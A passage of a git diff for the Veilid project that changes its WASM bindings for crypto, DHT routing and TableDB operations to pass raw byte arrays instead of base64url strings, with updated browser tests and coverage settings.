"send_wrapper 0.6.0", "serde", "serde-wasm-bindgen 0.6.0", + "serde_bytes", "serde_json", "tracing", "tracing-subscriber", diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 7778c64c..b82eaf28 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -198,6 +198,9 @@ wasm-bindgen = "0.2.87" js-sys = "0.3.64" wasm-bindgen-futures = "0.4.37" send_wrapper = { version = "0.6.0", features = ["futures"] } +serde_bytes = { version = "0.11", default_features = false, features = [ + "alloc", +] } tsify = { version = "0.4.5", features = ["js"] } serde-wasm-bindgen = "0.6.0" diff --git a/veilid-core/src/veilid_api/error.rs b/veilid-core/src/veilid_api/error.rs index d6999118..39261179 100644 --- a/veilid-core/src/veilid_api/error.rs +++ b/veilid-core/src/veilid_api/error.rs @@ -215,7 +215,6 @@ impl VeilidAPIError { } } -#[cfg_attr(target_arch = "wasm32", declare)] pub type VeilidAPIResult = Result; impl From for VeilidAPIError { diff --git a/veilid-core/src/veilid_api/types/app_message_call.rs b/veilid-core/src/veilid_api/types/app_message_call.rs index 5af5b692..ff117e5e 100644 --- a/veilid-core/src/veilid_api/types/app_message_call.rs +++ b/veilid-core/src/veilid_api/types/app_message_call.rs @@ -9,9 +9,13 @@ pub struct VeilidAppMessage { #[cfg_attr(target_arch = "wasm32", tsify(optional, type = "string"))] sender: Option, - #[serde(with = "as_human_base64")] + #[cfg_attr(not(target_arch = "wasm32"), serde(with = "as_human_base64"))] #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] + #[cfg_attr( + target_arch = "wasm32", + serde(with = "serde_bytes"), + tsify(type = "Uint8Array") + )] message: Vec, } @@ -40,8 +44,13 @@ pub struct VeilidAppCall { #[cfg_attr(target_arch = "wasm32", tsify(optional))] sender: Option, - #[serde(with = "as_human_base64")] + #[cfg_attr(not(target_arch = "wasm32"), serde(with = "as_human_base64"))] #[schemars(with = "String")] + #[cfg_attr( + target_arch = "wasm32", + serde(with = "serde_bytes"), + tsify(type = "Uint8Array") + )] message: Vec, #[serde(with = "as_human_string")] diff --git a/veilid-core/src/veilid_api/types/dht/value_data.rs b/veilid-core/src/veilid_api/types/dht/value_data.rs index e43b9b2b..f89a1856 100644 --- a/veilid-core/src/veilid_api/types/dht/value_data.rs +++ b/veilid-core/src/veilid_api/types/dht/value_data.rs @@ -8,9 +8,13 @@ pub struct ValueData { seq: ValueSeqNum, /// The contents of a DHT Record - #[serde(with = "as_human_base64")] + #[cfg_attr(not(target_arch = "wasm32"), serde(with = "as_human_base64"))] #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] + #[cfg_attr( + target_arch = "wasm32", + serde(with = "serde_bytes"), + tsify(type = "Uint8Array") + )] data: Vec, /// The public identity key of the writer of the data diff --git a/veilid-core/src/veilid_config.rs b/veilid-core/src/veilid_config.rs index 2877eea6..505151b6 100644 --- a/veilid-core/src/veilid_config.rs +++ b/veilid-core/src/veilid_config.rs @@ -1,9 +1,7 @@ use crate::*; //////////////////////////////////////////////////////////////////////////////////////////////// -#[cfg_attr(target_arch = "wasm32", declare)] pub type ConfigCallbackReturn = VeilidAPIResult>; -#[cfg_attr(target_arch = "wasm32", declare)] pub type ConfigCallback = Arc ConfigCallbackReturn + Send + Sync>; /// Enable and configure HTTPS access to the Veilid node diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 59e46aa8..63d98e90 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -28,6 +28,9 @@ cfg-if = "^1" wasm-bindgen-futures = "^0" js-sys = "^0" serde_json = "^1" +serde_bytes = { version = "0.11", default_features = false, features = [ + "alloc", +] } serde = "^1" lazy_static = "^1" send_wrapper = "^0" diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index 55f4557d..21012046 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -58,7 +58,7 @@ impl VeilidCrypto { APIResult::Ok(out.to_string()) } - pub fn randomBytes(kind: String, len: u32) -> APIResult { + pub fn randomBytes(kind: String, len: u32) -> APIResult> { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let veilid_api = get_veilid_api()?; @@ -71,7 +71,7 @@ impl VeilidCrypto { ) })?; let out = crypto_system.random_bytes(len); - let out = data_encoding::BASE64URL_NOPAD.encode(&out); + let out = out.into_boxed_slice(); APIResult::Ok(out) } @@ -91,10 +91,8 @@ impl VeilidCrypto { APIResult::Ok(out) } - pub fn hashPassword(kind: String, password: String, salt: String) -> APIResult { + pub fn hashPassword(kind: String, password: Box<[u8]>, salt: Box<[u8]>) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password = unmarshall(password)?; - let salt = unmarshall(salt)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -111,11 +109,10 @@ impl VeilidCrypto { pub fn verifyPassword( kind: String, - password: String, + password: Box<[u8]>, password_hash: String, ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password = unmarshall(password)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -130,10 +127,12 @@ impl VeilidCrypto { APIResult::Ok(out) } - pub fn deriveSharedSecret(kind: String, password: String, salt: String) -> APIResult { + pub fn deriveSharedSecret( + kind: String, + password: Box<[u8]>, + salt: Box<[u8]>, + ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password = unmarshall(password)?; - let salt = unmarshall(salt)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -182,7 +181,7 @@ impl VeilidCrypto { pub fn verifySignatures( node_ids: StringArray, - data: String, + data: Box<[u8]>, signatures: StringArray, ) -> VeilidAPIResult { let node_ids = into_unchecked_string_vec(node_ids); @@ -199,8 +198,6 @@ impl VeilidCrypto { }) .collect::>>()?; - let data: Vec = unmarshall(data)?; - let typed_signatures = into_unchecked_string_vec(signatures); let typed_signatures: Vec = typed_signatures .iter() @@ -226,9 +223,7 @@ impl VeilidCrypto { APIResult::Ok(out) } - pub fn generateSignatures(data: String, key_pairs: StringArray) -> APIResult { - let data = unmarshall(data)?; - + pub fn generateSignatures(data: Box<[u8]>, key_pairs: StringArray) -> APIResult { let key_pairs = into_unchecked_string_vec(key_pairs); let key_pairs: Vec = key_pairs .iter() @@ -269,11 +264,9 @@ impl VeilidCrypto { APIResult::Ok(out) } - pub fn generateHash(kind: String, data: String) -> APIResult { + pub fn generateHash(kind: String, data: Box<[u8]>) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let data = unmarshall(data)?; - let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; let crypto_system = crypto.get(kind).ok_or_else(|| { @@ -306,11 +299,9 @@ impl VeilidCrypto { APIResult::Ok(out) } - pub fn validateHash(kind: String, data: String, hash: String) -> APIResult { + pub fn validateHash(kind: String, data: Box<[u8]>, hash: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let data = unmarshall(data)?; - let hash: veilid_core::HashDigest = veilid_core::HashDigest::from_str(&hash)?; let veilid_api = get_veilid_api()?; @@ -345,14 +336,12 @@ impl VeilidCrypto { APIResult::Ok(out.to_string()) } - pub fn sign(kind: String, key: String, secret: String, data: String) -> APIResult { + pub fn sign(kind: String, key: String, secret: String, data: Box<[u8]>) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let key: veilid_core::PublicKey = veilid_core::PublicKey::from_str(&key)?; let secret: veilid_core::SecretKey = veilid_core::SecretKey::from_str(&secret)?; - let data = unmarshall(data)?; - let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; let crypto_system = crypto.get(kind).ok_or_else(|| { @@ -362,11 +351,10 @@ impl VeilidCrypto { APIResult::Ok(out.to_string()) } - pub fn verify(kind: String, key: String, data: String, signature: String) -> APIResult<()> { + pub fn verify(kind: String, key: String, data: Box<[u8]>, signature: String) -> APIResult<()> { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let key: veilid_core::PublicKey = veilid_core::PublicKey::from_str(&key)?; - let data = unmarshall(data)?; let signature: veilid_core::Signature = veilid_core::Signature::from_str(&signature)?; let veilid_api = get_veilid_api()?; @@ -396,24 +384,18 @@ impl VeilidCrypto { pub fn decryptAead( kind: String, - body: String, + body: Box<[u8]>, nonce: String, shared_secret: String, - associated_data: Option, - ) -> APIResult { + associated_data: Option>, + ) -> APIResult> { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = veilid_core::SharedSecret::from_str(&shared_secret)?; - let associated_data = associated_data - .map(unmarshall) - .map_or(APIResult::Ok(None), |r| r.map(Some))?; - let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; let crypto_system = crypto.get(kind).ok_or_else(|| { @@ -428,34 +410,28 @@ impl VeilidCrypto { &nonce, &shared_secret, match &associated_data { - Some(ad) => Some(ad.as_slice()), + Some(ad) => Some(ad), None => None, }, )?; - let out = data_encoding::BASE64URL_NOPAD.encode(&out); + let out = out.into_boxed_slice(); APIResult::Ok(out) } pub fn encryptAead( kind: String, - body: String, + body: Box<[u8]>, nonce: String, shared_secret: String, - associated_data: Option, - ) -> APIResult { + associated_data: Option>, + ) -> APIResult> { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = veilid_core::SharedSecret::from_str(&shared_secret)?; - let associated_data: Option> = associated_data - .map(unmarshall) - .map_or(APIResult::Ok(None), |r| r.map(Some))?; - let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; let crypto_system = crypto.get(kind).ok_or_else(|| { @@ -470,24 +446,21 @@ impl VeilidCrypto { &nonce, &shared_secret, match &associated_data { - Some(ad) => Some(ad.as_slice()), + Some(ad) => Some(ad), None => None, }, )?; - let out = data_encoding::BASE64URL_NOPAD.encode(&out); - APIResult::Ok(out) + APIResult::Ok(out.into_boxed_slice()) } pub fn cryptNoAuth( kind: String, - body: String, + mut body: Box<[u8]>, nonce: String, shared_secret: String, - ) -> APIResult { + ) -> APIResult> { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let mut body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = @@ -503,7 +476,6 @@ impl VeilidCrypto { ) })?; crypto_system.crypt_in_place_no_auth(&mut body, &nonce, &shared_secret); - let out = data_encoding::BASE64URL_NOPAD.encode(&body); - APIResult::Ok(out) + APIResult::Ok(body) } } diff --git a/veilid-wasm/src/veilid_routing_context_js.rs b/veilid-wasm/src/veilid_routing_context_js.rs index 9707c0be..edfd82bc 100644 --- a/veilid-wasm/src/veilid_routing_context_js.rs +++ b/veilid-wasm/src/veilid_routing_context_js.rs @@ -83,8 +83,8 @@ impl VeilidRoutingContext { /// /// * `call_id` - specifies which call to reply to, and it comes from a VeilidUpdate::AppCall, specifically the VeilidAppCall::id() value. /// * `message` - is an answer blob to be returned by the remote node's RoutingContext::app_call() function, and may be up to 32768 bytes - pub async fn appCallReply(call_id: String, message: String) -> APIResult<()> { - let message = unmarshall(message)?; + pub async fn appCallReply(call_id: String, message: Box<[u8]>) -> APIResult<()> { + let message = message.into_vec(); let call_id = match call_id.parse() { Ok(v) => v, Err(e) => { @@ -148,10 +148,9 @@ impl VeilidRoutingContext { /// @param {string} target - can be either a direct node id or a private route. /// @param {string} message - an arbitrary message blob of up to `32768` bytes. #[wasm_bindgen(skip_jsdoc)] - pub async fn appMessage(&self, target_string: String, message: String) -> APIResult<()> { + pub async fn appMessage(&self, target_string: String, message: Box<[u8]>) -> APIResult<()> { let routing_context = self.getRoutingContext()?; - let message = unmarshall(message)?; - + let message = message.into_vec(); let veilid_api = get_veilid_api()?; let target = veilid_api.parse_as_target(target_string).await?; routing_context.app_message(target, message).await?; @@ -162,18 +161,22 @@ impl VeilidRoutingContext { /// /// Veilid apps may use this for arbitrary message passing. /// - /// @param {string} target_string - can be either a direct node id or a private route, base64Url encoded. - /// @param {string} message - an arbitrary message blob of up to `32768` bytes, base64Url encoded. - /// @returns an answer blob of up to `32768` bytes, base64Url encoded. + /// @param {string} target_string - can be either a direct node id or a private route. + /// @param {Uint8Array} message - an arbitrary message blob of up to `32768` bytes. + /// @returns {Uint8Array} an answer blob of up to `32768` bytes. #[wasm_bindgen(skip_jsdoc)] - pub async fn appCall(&self, target_string: String, request: String) -> APIResult { - let request: Vec = unmarshall(request)?; + pub async fn appCall( + &self, + target_string: String, + request: Box<[u8]>, + ) -> APIResult { + let request: Vec = request.into_vec(); let routing_context = self.getRoutingContext()?; let veilid_api = get_veilid_api()?; let target = veilid_api.parse_as_target(target_string).await?; let answer = routing_context.app_call(target, request).await?; - let answer = marshall(&answer); + let answer = Uint8Array::from(answer.as_slice()); APIResult::Ok(answer) } @@ -250,7 +253,7 @@ impl VeilidRoutingContext { /// May pull the latest value from the network, but by settings 'force_refresh' you can force a network data refresh. /// /// Returns `undefined` if the value subkey has not yet been set. - /// Returns base64Url encoded `data` if the value subkey has valid data. + /// Returns a Uint8Array of `data` if the value subkey has valid data. pub async fn getDhtValue( &self, key: String, @@ -268,15 +271,15 @@ impl VeilidRoutingContext { /// Pushes a changed subkey value to the network /// /// Returns `undefined` if the value was successfully put. - /// Returns base64Url encoded `data` if the value put was older than the one available on the network. + /// Returns a Uint8Array of `data` if the value put was older than the one available on the network. pub async fn setDhtValue( &self, key: String, subKey: u32, - data: String, + data: Box<[u8]>, ) -> APIResult> { let key = TypedKey::from_str(&key)?; - let data = unmarshall(data)?; + let data = data.into_vec(); let routing_context = self.getRoutingContext()?; let res = routing_context.set_dht_value(key, subKey, data).await?; diff --git a/veilid-wasm/src/veilid_table_db_js.rs b/veilid-wasm/src/veilid_table_db_js.rs index 181a43ef..1120fab5 100644 --- a/veilid-wasm/src/veilid_table_db_js.rs +++ b/veilid-wasm/src/veilid_table_db_js.rs @@ -63,22 +63,24 @@ impl VeilidTableDB { } /// Read a key from a column in the TableDB immediately. - pub async fn load(&mut self, columnId: u32, key: String) -> APIResult> { + pub async fn load(&mut self, columnId: u32, key: Box<[u8]>) -> APIResult> { self.ensureOpen().await; - let key = unmarshall(key)?; let table_db = self.getTableDB()?; let out = table_db.load(columnId, &key).await?; - let out = out.map(|out| marshall(&out)); + let out = out.map(|out| Uint8Array::from(out.as_slice())); APIResult::Ok(out) } /// Store a key with a value in a column in the TableDB. /// Performs a single transaction immediately. - pub async fn store(&mut self, columnId: u32, key: String, value: String) -> APIResult<()> { + pub async fn store( + &mut self, + columnId: u32, + key: Box<[u8]>, + value: Box<[u8]>, + ) -> APIResult<()> { self.ensureOpen().await; - let key = unmarshall(key)?; - let value = unmarshall(value)?; let table_db = self.getTableDB()?; table_db.store(columnId, &key, &value).await?; @@ -86,26 +88,29 @@ impl VeilidTableDB { } /// Delete key with from a column in the TableDB. - pub async fn delete(&mut self, columnId: u32, key: String) -> APIResult> { + pub async fn delete(&mut self, columnId: u32, key: Box<[u8]>) -> APIResult> { self.ensureOpen().await; - let key = unmarshall(key)?; let table_db = self.getTableDB()?; let out = table_db.delete(columnId, &key).await?; - let out = out.map(|out| marshall(&out)); + let out = out.map(|out| Uint8Array::from(out.as_slice())); APIResult::Ok(out) } /// Get the list of keys in a column of the TableDB. /// - /// Returns an array of base64Url encoded keys. - pub async fn getKeys(&mut self, columnId: u32) -> APIResult { + /// Returns an array of Uint8Array keys. + pub async fn getKeys(&mut self, columnId: u32) -> APIResult { self.ensureOpen().await; let table_db = self.getTableDB()?; let keys = table_db.clone().get_keys(columnId).await?; - let out: Vec = keys.into_iter().map(|k| marshall(&k)).collect(); - let out = into_unchecked_string_array(out); + let out: Vec = keys + .into_iter() + .map(|k| Uint8Array::from(k.as_slice())) + .collect(); + + let out = into_unchecked_uint8array_array(out); APIResult::Ok(out) } @@ -164,16 +169,13 @@ impl VeilidTableDBTransaction { /// Store a key with a value in a column in the TableDB. /// Does not modify TableDB until `.commit()` is called. - pub fn store(&self, col: u32, key: String, value: String) -> APIResult<()> { - let key = unmarshall(key)?; - let value = unmarshall(value)?; + pub fn store(&self, col: u32, key: Box<[u8]>, value: Box<[u8]>) -> APIResult<()> { let transaction = self.getTransaction()?; transaction.store(col, &key, &value) } /// Delete key with from a column in the TableDB - pub fn deleteKey(&self, col: u32, key: String) -> APIResult<()> { - let key = unmarshall(key)?; + pub fn deleteKey(&self, col: u32, key: Box<[u8]>) -> APIResult<()> { let transaction = self.getTransaction()?; transaction.delete(col, &key) } diff --git a/veilid-wasm/src/wasm_helpers.rs b/veilid-wasm/src/wasm_helpers.rs index 84a52069..d3b65e16 100644 --- a/veilid-wasm/src/wasm_helpers.rs +++ b/veilid-wasm/src/wasm_helpers.rs @@ -37,6 +37,19 @@ pub(crate) fn into_unchecked_string_array(items: Vec) -> StringArray { .unchecked_into::() // TODO: can I do this a better way? } +#[wasm_bindgen] +extern "C" { + #[wasm_bindgen(typescript_type = "Uint8Array[]")] + pub type Uint8ArrayArray; +} +/// Convert a `Vec` into a `js_sys::Array` with the type of `Uint8Array[]` +pub(crate) fn into_unchecked_uint8array_array(items: Vec) -> Uint8ArrayArray { + items + .iter() + .collect::() + .unchecked_into::() // TODO: can I do this a better way? +} + /// Convert a StringArray (`js_sys::Array` with the type of `string[]`) into `Vec` pub(crate) fn into_unchecked_string_vec(items: StringArray) -> Vec { items diff --git a/veilid-wasm/tests/.gitignore b/veilid-wasm/tests/.gitignore index 62b8e8fd..3091757a 100644 --- a/veilid-wasm/tests/.gitignore +++ b/veilid-wasm/tests/.gitignore @@ -1,2 +1,2 @@ node_modules -veilid-wasm-pkg \ No newline at end of file +coverage \ No newline at end of file diff --git a/veilid-wasm/tests/src/VeilidRoutingContext.test.ts b/veilid-wasm/tests/src/VeilidRoutingContext.test.ts new file mode 100644 index 00000000..325bfa3f --- /dev/null +++ b/veilid-wasm/tests/src/VeilidRoutingContext.test.ts @@ -0,0 +1,173 @@ +import { expect } from '@wdio/globals'; + +import { + veilidCoreInitConfig, + veilidCoreStartupConfig, +} from './utils/veilid-config'; + +import { + DHTRecordDescriptor, + VeilidRoutingContext, + veilidClient, + veilidCrypto, +} from 'veilid-wasm'; +import { textEncoder, textDecoder } from './utils/marshalling-utils'; +import { waitForMs } from './utils/wait-utils'; + +describe('VeilidRoutingContext', () => { + before('veilid startup', async () => { + veilidClient.initializeCore(veilidCoreInitConfig); + await veilidClient.startupCore((_update) => { + // if (_update.kind === 'Log') { + // console.log(_update.message); + // } + }, JSON.stringify(veilidCoreStartupConfig)); + await veilidClient.attach(); + await waitForMs(2000); + }); + + after('veilid shutdown', async () => { + await veilidClient.detach(); + await veilidClient.shutdownCore(); + }); + + describe('constructors', () => { + it('should create using .create()', async () => { + const routingContext = VeilidRoutingContext.create(); + expect(routingContext instanceof VeilidRoutingContext).toBe(true); + + routingContext.free(); + }); + + it('should create using new', async () => { + const routingContext = new VeilidRoutingContext(); + expect(routingContext instanceof VeilidRoutingContext).toBe(true); + + routingContext.free(); + }); + + it('should create with privacy', async () => { + const routingContext = VeilidRoutingContext.create().withPrivacy(); + expect(routingContext instanceof VeilidRoutingContext).toBe(true); + + routingContext.free(); + }); + + it('should create with custom privacy', async () => { + const routingContext = VeilidRoutingContext.create().withCustomPrivacy({ + Safe: { + hop_count: 2, + sequencing: 'EnsureOrdered', + stability: 'Reliable', + }, + }); + expect(routingContext instanceof VeilidRoutingContext).toBe(true); + + routingContext.free(); + }); + + it('should create with sequencing', async () => { + const routingContext = + VeilidRoutingContext.create().withSequencing('EnsureOrdered'); + expect(routingContext instanceof VeilidRoutingContext).toBe(true); + + routingContext.free(); + }); + }); + + describe('operations', () => { + let routingContext: VeilidRoutingContext; + + before('create routing context', () => { + routingContext = VeilidRoutingContext.create() + .withPrivacy() + .withSequencing('EnsureOrdered'); + }); + + after('free routing context', () => { + routingContext.free(); + }); + + describe('DHT kitchen sink', async () => { + let dhtRecord: DHTRecordDescriptor; + const data = '🚀 This example DHT data with unicode a Ā 𐀀 文 🚀'; + + before('create dht record', async () => { + const bestKind = veilidCrypto.bestCryptoKind(); + dhtRecord = await routingContext.createDhtRecord( + { + kind: 'DFLT', + o_cnt: 1, + }, + bestKind + ); + + expect(dhtRecord.key).toBeDefined(); + expect(dhtRecord.owner).toBeDefined(); + expect(dhtRecord.owner_secret).toBeDefined(); + expect(dhtRecord.schema).toEqual({ kind: 'DFLT', o_cnt: 1 }); + }); + + after('free dht record', async () => { + await routingContext.closeDhtRecord(dhtRecord.key); + }); + + it('should set value', async () => { + const setValueRes = await routingContext.setDhtValue( + dhtRecord.key, + 0, + textEncoder.encode(data) + ); + expect(setValueRes).toBeUndefined(); + }); + + it('should get value with force refresh', async () => { + const getValueRes = await routingContext.getDhtValue( + dhtRecord.key, + 0, + true + ); + expect(getValueRes?.data).toBeDefined(); + expect(textDecoder.decode(getValueRes?.data)).toBe(data); + + expect(getValueRes?.writer).toBe(dhtRecord.owner); + expect(getValueRes?.seq).toBe(0); + }); + + it('should open readonly record', async () => { + await routingContext.closeDhtRecord(dhtRecord.key); + + const readonlyDhtRecord = await routingContext.openDhtRecord( + dhtRecord.key + ); + expect(readonlyDhtRecord).toBeDefined(); + + const setValueRes = routingContext.setDhtValue( + dhtRecord.key, + 0, + textEncoder.encode(data) + ); + await expect(setValueRes).rejects.toEqual({ + kind: 'Generic', + message: 'value is not writable', + }); + }); + + it('should open writable record', async () => { + await routingContext.closeDhtRecord(dhtRecord.key); + + const writeableDhtRecord = await routingContext.openDhtRecord( + dhtRecord.key, + `${dhtRecord.owner}:${dhtRecord.owner_secret}` + ); + expect(writeableDhtRecord).toBeDefined(); + const setValueRes = await routingContext.setDhtValue( + dhtRecord.key, + 0, + textEncoder.encode(`${data}👋`) + ); + expect(setValueRes).toBeUndefined(); + }); + }); + }); +}); diff --git a/veilid-wasm/tests/src/VeilidTable.test.ts b/veilid-wasm/tests/src/VeilidTable.test.ts index 68a81f0b..a157ff9c 100644 --- a/veilid-wasm/tests/src/VeilidTable.test.ts +++ b/veilid-wasm/tests/src/VeilidTable.test.ts @@ -6,7 +6,7 @@ import { } from './utils/veilid-config'; import { VeilidTableDB, veilidClient } from 'veilid-wasm'; -import { marshall, unmarshall } from './utils/marshalling-utils'; +import { textEncoder, textDecoder } from './utils/marshalling-utils'; const TABLE_NAME = 'some-table'; const TABLE_COLS = 1; @@ -57,18 +57,22 @@ describe('VeilidTable', () => { const value = 'test value with unicode 🚀'; it('should store value', async () => { - await table.store(0, marshall(key), marshall(value)); + await table.store( + 0, + textEncoder.encode(key), + textEncoder.encode(value) + ); }); it('should load value', async () => { - const storedValue = await table.load(0, marshall(key)); + const storedValue = await table.load(0, textEncoder.encode(key)); expect(storedValue).toBeDefined(); - expect(unmarshall(storedValue!)).toBe(value); + expect(textDecoder.decode(storedValue!)).toBe(value); }); it('should have key in list of keys', async () => { const keys = await table.getKeys(0); - const decodedKeys = keys.map(unmarshall); + const decodedKeys = keys.map((key) => textDecoder.decode(key)); expect(decodedKeys).toEqual([key]); }); }); @@ -82,15 +86,27 @@ describe('VeilidTable', () => { const second = 'second✔'; const third = 'third📢'; - transaction.store(0, marshall(key), marshall(first)); - transaction.store(0, marshall(key), marshall(second)); - transaction.store(0, marshall(key), marshall(third)); + transaction.store( + 0, + textEncoder.encode(key), + textEncoder.encode(first) + ); + transaction.store( + 0, + textEncoder.encode(key), + textEncoder.encode(second) + ); + transaction.store( + 0, + textEncoder.encode(key), + textEncoder.encode(third) + ); await transaction.commit(); - const storedValue = await table.load(0, marshall(key)); + const storedValue = await table.load(0, textEncoder.encode(key)); expect(storedValue).toBeDefined(); - expect(unmarshall(storedValue!)).toBe(third); + expect(textDecoder.decode(storedValue!)).toBe(third); transaction.free(); }); diff --git a/veilid-wasm/tests/src/utils/marshalling-utils.ts b/veilid-wasm/tests/src/utils/marshalling-utils.ts index 3adfd64e..94eff599 100644 --- a/veilid-wasm/tests/src/utils/marshalling-utils.ts +++ b/veilid-wasm/tests/src/utils/marshalling-utils.ts @@ -1,13 +1,23 @@ -// TextEncoder/TextDecoder are used to solve for "The Unicode Problem" https://stackoverflow.com/a/30106551 +export const textDecoder = new TextDecoder(); +export const textEncoder = new TextEncoder(); -export function marshall(data: string) { - const byteString = bytesToString(new TextEncoder().encode(data)); +// TextEncoder/TextDecoder are used to solve for "The Unicode Problem" https://stackoverflow.com/a/30106551 +export function marshallString(data: string) { + return marshallBytes(textEncoder.encode(data)); +} + +export function unmarshallString(b64: string) { + return textDecoder.decode(unmarshallBytes(b64)); +} + +export function marshallBytes(data: Uint8Array) { + const byteString = bytesToString(data); return base64UrlEncode(byteString); } -export function unmarshall(b64: string) { +export function unmarshallBytes(b64: string) { const byteString = base64UrlDecode(b64); - return new TextDecoder().decode(stringToBytes(byteString)); + return stringToBytes(byteString); } function base64UrlEncode(data: string) { diff --git a/veilid-wasm/tests/src/veilidCrypto.test.ts b/veilid-wasm/tests/src/veilidCrypto.test.ts index e2f37574..afbdfac2 100644 --- a/veilid-wasm/tests/src/veilidCrypto.test.ts +++ b/veilid-wasm/tests/src/veilidCrypto.test.ts @@ -6,6 +6,7 @@ import { } from './utils/veilid-config'; import { veilidClient, veilidCrypto } from 'veilid-wasm'; +import { textEncoder, unmarshallBytes } from './utils/marshalling-utils'; describe('veilidCrypto', () => { before('veilid startup', async () => { @@ -29,10 +30,116 @@ describe('veilidCrypto', () => { expect(kinds.includes(bestKind)).toBe(true); }); - it('should generate key pair', async () => { + it('should generate key pair', () => { const bestKind = veilidCrypto.bestCryptoKind(); const keypair = veilidCrypto.generateKeyPair(bestKind); expect(typeof keypair).toBe('string'); - // TODO: fix TypeScript return type of generateKeyPair to return string instead of KeyPair + + const [publicKey, secretKey] = keypair.split(':'); + expect(unmarshallBytes(publicKey).length).toBe(32); + expect(unmarshallBytes(secretKey).length).toBe(32); + + const isValid = veilidCrypto.validateKeyPair( + bestKind, + publicKey, + secretKey + ); + expect(isValid).toBe(true); }); + + it('should generate random bytes', () => { + const bestKind = veilidCrypto.bestCryptoKind(); + const bytes = veilidCrypto.randomBytes(bestKind, 64); + expect(bytes instanceof Uint8Array).toBe(true); + expect(bytes.length).toBe(64); + }); + + it('should hash data and validate hash', () => { + const bestKind = veilidCrypto.bestCryptoKind(); + const data = textEncoder.encode('this is my data🚀'); + const hash = veilidCrypto.generateHash(bestKind, data); + + expect(hash).toBeDefined(); + expect(typeof hash).toBe('string'); + + const isValid = veilidCrypto.validateHash(bestKind, data, hash); + expect(isValid).toBe(true); + }); + + it('should hash and validate password', () => { + const bestKind = veilidCrypto.bestCryptoKind(); + + const password = textEncoder.encode('this is my data🚀'); + const saltLength = veilidCrypto.defaultSaltLength(bestKind); + expect(saltLength).toBeGreaterThan(0); + + const salt = veilidCrypto.randomBytes(bestKind, saltLength); + expect(salt instanceof Uint8Array).toBe(true); + expect(salt.length).toBe(saltLength); + + const hash = veilidCrypto.hashPassword(bestKind, password, salt); + expect(hash).toBeDefined(); + expect(typeof hash).toBe('string'); + + const isValid = veilidCrypto.verifyPassword(bestKind, password, hash); + expect(isValid).toBe(true); + }); + + it('should aead encrypt and decrypt', () => { + const bestKind = veilidCrypto.bestCryptoKind(); + const body = textEncoder.encode( + 'This is an encoded body with my secret data in it🔥' + ); + const ad = textEncoder.encode( + 'This is data associated with my secret data👋' + ); + + const nonce = veilidCrypto.randomNonce(bestKind); + expect(typeof nonce).toBe('string'); + + const sharedSecred = veilidCrypto.randomSharedSecret(bestKind); + expect(typeof sharedSecred).toBe('string'); + + const encBody = veilidCrypto.encryptAead( + bestKind, + body, + nonce, + sharedSecred, + ad + ); + expect(encBody instanceof Uint8Array).toBe(true); + + const overhead = veilidCrypto.aeadOverhead(bestKind); + expect(encBody.length - body.length).toBe(overhead); + + const decBody = veilidCrypto.decryptAead( + bestKind, + encBody, + nonce, + sharedSecred, + ad + ); + expect(decBody instanceof Uint8Array).toBe(true); + expect(body).toEqual(decBody); + }); + + it('should sign and verify', () => { + const bestKind = veilidCrypto.bestCryptoKind(); + const keypair = veilidCrypto.generateKeyPair(bestKind); + const data = textEncoder.encode( + 'This is some data I am signing with my key 🔑' + ); + expect(typeof keypair).toBe('string'); + + const [publicKey, secretKey] = keypair.split(':'); + + const sig = veilidCrypto.sign(bestKind, publicKey, secretKey, data); + expect(typeof sig).toBe('string'); + + expect(() => { + const res = veilidCrypto.verify(bestKind, publicKey, data, sig); + expect(res).toBeUndefined(); + }).not.toThrow(); + }); + }); diff --git a/veilid-wasm/tests/wdio.conf.ts b/veilid-wasm/tests/wdio.conf.ts index 200ba2b8..d9d38a74 100644 --- a/veilid-wasm/tests/wdio.conf.ts +++ b/veilid-wasm/tests/wdio.conf.ts @@ -5,7 +5,20 @@ export const config: Options.Testrunner = { // Runner Configuration // ==================== // WebdriverIO supports running e2e tests as well as unit and component tests. - runner: ['browser', { viteConfig: './vite.config.ts' }], + runner: [ + 'browser', + { + viteConfig: './vite.config.ts', + coverage: { + enabled: true, + // needed since the ../pkg directory that has the compiled wasm npm package + // is outside the current directory. Coverage is only collected on 